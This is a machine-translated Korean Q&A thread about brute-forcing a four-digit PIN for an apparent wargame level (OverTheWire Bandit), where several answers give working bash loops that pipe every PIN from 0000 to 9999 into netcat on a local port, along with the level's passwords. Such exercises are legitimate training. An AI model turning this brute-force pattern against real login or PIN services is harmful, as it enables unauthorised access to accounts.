쉘 스크립트를 사용하여 4자리 비밀번호 무차별 대입

쉘 스크립트를 사용하여 4자리 비밀번호 무차별 대입

몇 가지 도전을 하고 있어요. 이것은 그들 중 하나입니다. 원하는 답변을 얻기 위해 4자리 PIN을 무차별 대입하여 비밀번호를 입력하려고 합니다. 포트에 연결한 후 비밀번호, 공백, 4자리 PIN을 입력하라는 메시지가 표시되었습니다. 다음 스크립트를 사용하여 핀을 무차별 대입하려고 시도했습니다.

 #!/bin/bash 
 nc localhost 30002 
 sleep 2 

 for i in {0000..9999}; 
     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
     then 
        continue 
     echo '[+] Pincode Cracked! Pincode = $i' 
     fi 
 done

하지만 통과하지 못하고 stdin에 고정되지 않는 이와 같은 작업을 시도하기 전에 -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];여기서 내가 뭘 잘못하고 있는 걸까요?

고쳐 쓰다:

글쎄요, 좀 조사한 후에요. 나는 이것을 썼다:

for i in {0000..9999}
do
    if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
   then
      sleep 0.1
      continue
   fi
   echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

이것이 작동할 수도 있지만 보시다시피 루프에서 새로운 연결이 열리므로 속도가 매우 느려지고 시스템이 소모됩니다.

답변1

빠르고 효과적인 답변은 다음과 같습니다.

#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
            echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

업데이트된 답변이 매우 느립니다. 오답을 입력해도 연결은 계속 유지됩니다. 이전 답변에서 볼 수 있듯이 for 루프 끝에 있는 파이프입니다. 올바른 핀을 정말로 알고 싶다면 echo that 전에 줄을 추가할 수 있습니다 echo "the correct pass: $1" > /tmp/correctpin.txt. 이는 올바른 비밀번호를 받으려는 목적과는 아무런 관련이 없습니다.

답변2

그건 네가 아니기 때문이야말하다스크립트는 nc표준 입력에 무엇이든 씁니다. 스크립트가 netcat을 시작합니다.종료될 때까지 기다리세요, sleep루프를 실행하기 2초 전입니다 for. 다음과 같은 구성이 필요할 수 있습니다.

for i in {0000..9999}; do
    : stuff
done | nc localhost 30002

답변3

루프를 netcat 연결로 파이프하고 다음과 같이 파일에 출력을 쓸 수 있습니다.

#!/bin/bash
touch f.txt
for i in {0000..9999}
do
    echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

중단되고 루프가 완료되지 않으면 각각 5000회 반복의 두 부분으로 나눌 수 있습니다.

#!/bin/bash

for j in {0000..5000}
do
    str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
    echo $str1
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

sleep 5

for i in {5000..9999}
do
    str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
    echo $str2
done | nc 127.0.0.1 30002 > f.txt

cat f.txt |grep -v Wrong

답변4

bandit25 비밀번호를 얻기 위한 한 줄의 코드:

for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"

비밀번호-PIN 조합은 for 루프를 사용하여 전달되며 grep -v불필요한 출력은 인쇄되지 않습니다.

관련 정보